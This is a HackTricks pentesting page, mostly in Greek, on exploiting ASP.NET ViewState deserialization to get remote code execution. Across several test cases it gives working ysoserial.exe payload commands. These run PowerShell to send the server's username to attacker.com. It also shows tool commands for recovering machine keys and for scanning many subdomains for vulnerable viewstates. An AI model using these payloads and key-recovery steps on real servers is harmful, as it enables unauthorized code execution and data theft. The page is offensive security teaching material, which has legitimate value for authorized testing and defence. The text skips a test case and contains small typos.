Exploiting __VIEWSTATE without knowing the secrets

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

What is ViewState

ViewState χρησιμεύει ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας επαναφοράς (postback) σειριοποιούνται σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται στη συνέχεια σε κρυφά πεδία ViewState.

Οι πληροφορίες ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:

  • Base64:

  • Αυτός ο τύπος χρησιμοποιείται όταν και οι δύο ιδιότητες EnableViewStateMac και ViewStateEncryptionMode είναι ρυθμισμένες σε false.

  • Base64 + MAC (Message Authentication Code) Enabled:

  • Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα EnableViewStateMac σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα ViewState.

  • Base64 + Encrypted:

  • Η κρυπτογράφηση εφαρμόζεται όταν η ιδιότητα ViewStateEncryptionMode είναι ρυθμισμένη σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων ViewState.

Test Cases

Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια περίληψη του περιεχομένου:

  1. Για οποιαδήποτε έκδοση του .NET, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσετε.

  2. Για εκδόσεις κάτω από 4.5, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."

  3. Για εκδόσεις κάτω από 4.5, ανεξάρτητα από το αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για τον "Blacklist3r - Future Development."

  4. Για εκδόσεις 4.5 και άνω, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας τον "Blacklist3r."

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

Είναι επίσης δυνατό να απενεργοποιηθεί εντελώς το ViewStateMAC ρυθμίζοντας το κλειδί μητρώου AspNetEnforceViewStateMac σε μηδέν στο:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Εντοπισμός Χαρακτηριστικών ViewState

Μπορείτε να προσπαθήσετε να εντοπίσετε αν το ViewState είναι προστατευμένο με MAC καταγράφοντας ένα αίτημα που περιέχει αυτή την παράμετρο με το BurpSuite. Αν το Mac δεν χρησιμοποιείται για την προστασία της παραμέτρου, μπορείτε να το εκμεταλλευτείτε χρησιμοποιώντας YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Οι προγραμματιστές μπορούν να αφαιρέσουν το ViewState από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie). Κάποιος μπορεί να υποθέσει ότι αν το ViewState είναι μη παρόν, η υλοποίησή τους είναι ασφαλής από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν με την αποσυναρμολόγηση του ViewState. Ωστόσο, αυτό δεν ισχύει. Αν προσθέσουμε την παράμετρο ViewState στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε εκτέλεση κώδικα όπως φαίνεται στην Περίπτωση 1.

Test Case: 2 – .Net < 4.5 και EnableViewStateMac=true & ViewStateEncryptionMode=false

Για να ενεργοποιήσουμε το ViewState MAC για μια συγκεκριμένη σελίδα πρέπει να κάνουμε τις παρακάτω αλλαγές σε ένα συγκεκριμένο αρχείο aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Μπορούμε επίσης να το κάνουμε για την γενική εφαρμογή ρυθμίζοντάς το στο αρχείο web.config όπως φαίνεται παρακάτω:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειάζεται το κλειδί που χρησιμοποιήθηκε.

Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε Blacklist3r(AspDotNetWrapper.exe) για να βρείτε το κλειδί που χρησιμοποιήθηκε.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets είναι ένα άλλο εργαλείο που μπορεί να εντοπίσει γνωστά machineKeys. Είναι γραμμένο σε Python, οπότε σε αντίθεση με το Blacklist3r, δεν έχει εξάρτηση από Windows. Για τα .NET viewstates, υπάρχει ένα εργαλείο "python blacklist3r", το οποίο είναι ο ταχύτερος τρόπος για να το χρησιμοποιήσετε.

Μπορεί να παρέχεται είτε με το viewstate και τον generator απευθείας:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Ή, μπορεί να συνδεθεί απευθείας στη στοχοθετημένη διεύθυνση URL και να προσπαθήσει να αποσπάσει το viewstate από το HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Για να αναζητήσετε ευάλωτα viewstates σε μεγάλη κλίμακα, σε συνδυασμό με την καταμέτρηση υποτομέων, μπορεί να χρησιμοποιηθεί το badsecrets BBOT module:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Αν είστε τυχεροί και βρείτε το κλειδί, μπορείτε να προχωρήσετε με την επίθεση χρησιμοποιώντας YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Σε περιπτώσεις όπου η παράμετρος _VIEWSTATEGENERATOR δεν αποστέλλεται από τον διακομιστή, δεν χρειάζεται να παρέχετε την παράμετρο --generator αλλά αυτές:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true

Σε αυτή την περίπτωση δεν είναι γνωστό αν η παράμετρος είναι προστατευμένη με MAC. Τότε, η τιμή είναι πιθανό να είναι κρυπτογραφημένη και θα χρειαστείτε το Machine Key για να κρυπτογραφήσετε το payload σας για να εκμεταλλευτείτε την ευπάθεια.

Σε αυτή την περίπτωση το Blacklist3r module είναι υπό ανάπτυξη...

Πριν από το .NET 4.5, το ASP.NET μπορεί να δέχεται μια μη κρυπτογραφημένη ___VIEWSTATE_παράμετρο από τους χρήστες ακόμα και αν ViewStateEncryptionMode έχει οριστεί σε Always. Το ASP.NET ελέγχει μόνο την παρουσία της __VIEWSTATEENCRYPTED παραμέτρου στο αίτημα. Αν κάποιος αφαιρέσει αυτή την παράμετρο και στείλει το μη κρυπτογραφημένο payload, θα επεξεργαστεί κανονικά.

Επομένως, αν οι επιτιθέμενοι βρουν έναν τρόπο να αποκτήσουν το Machinekey μέσω άλλης ευπάθειας όπως η διαδρομή αρχείων, η εντολή YSoSerial.Net που χρησιμοποιήθηκε στην Περίπτωση 2, μπορεί να χρησιμοποιηθεί για να εκτελέσει RCE χρησιμοποιώντας την ευπάθεια αποσυμπίεσης ViewState.

  • Αφαιρέστε την παράμετρο __VIEWSTATEENCRYPTED από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC Viewstate και η εκμετάλλευση θα αποτύχει.

Test Case: 4 – .Net >= 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true/false εκτός αν και οι δύο παράμετροι είναι false

Μπορούμε να αναγκάσουμε τη χρήση του πλαισίου ASP.NET καθορίζοντας την παρακάτω παράμετρο μέσα στο αρχείο web.config όπως φαίνεται παρακάτω.

<httpRuntime targetFramework="4.5" />

Εναλλακτικά, αυτό μπορεί να γίνει καθορίζοντας την παρακάτω επιλογή μέσα στην παράμετρο machineKey του αρχείου web.config.

compatibilityMode="Framework45"

Όπως και στην προηγούμενη περίπτωση, το value είναι κρυπτογραφημένο. Στη συνέχεια, για να στείλει μια έγκυρη payload, ο επιτιθέμενος χρειάζεται το κλειδί.

Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το Blacklist3r(AspDotNetWrapper.exe) για να βρείτε το κλειδί που χρησιμοποιείται:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Για μια πιο λεπτομερή περιγραφή για το IISDirPath και το TargetPagePath ανατρέξτε εδώ

Ή, με το Badsecrets (με μια τιμή γεννήτριας):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Μόλις εντοπιστεί ένα έγκυρο Machine key, το επόμενο βήμα είναι να δημιουργηθεί ένα σειριοποιημένο payload χρησιμοποιώντας YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Αν έχετε την τιμή του __VIEWSTATEGENERATOR, μπορείτε να προσπαθήσετε να χρησιμοποιήσετε την παράμετρο --generator με αυτή την τιμή και να παραλείψετε τις παραμέτρους --path και --apppath.

Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να προσδιορίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη PoC της Επιτυχούς Εκμετάλλευσης.

Test Case 6 – Χρησιμοποιείται το ViewStateUserKeys

Η ιδιότητα ViewStateUserKey μπορεί να χρησιμοποιηθεί για να αμυνθεί κατά ενός CSRF attack. Αν έχει οριστεί ένα τέτοιο κλειδί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το ViewState payload με τις μεθόδους που συζητήθηκαν μέχρι τώρα, το payload δεν θα επεξεργαστεί από την εφαρμογή. Πρέπει να χρησιμοποιήσετε μία ακόμη παράμετρο για να δημιουργήσετε σωστά το payload:

--viewstateuserkey="randomstringdefinedintheserver"

Result of a Successful Exploitation

Για όλες τις περιπτώσεις δοκιμών, αν το payload ViewState YSoSerial.Net λειτουργεί επιτυχώς, τότε ο διακομιστής απαντά με “500 Internal server error” έχοντας περιεχόμενο απάντησης “Η πληροφορία κατάστασης είναι μη έγκυρη για αυτή τη σελίδα και μπορεί να έχει διαφθαρεί” και λαμβάνουμε το OOB request.

Check for further information here

References

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Support HackTricks

Last updated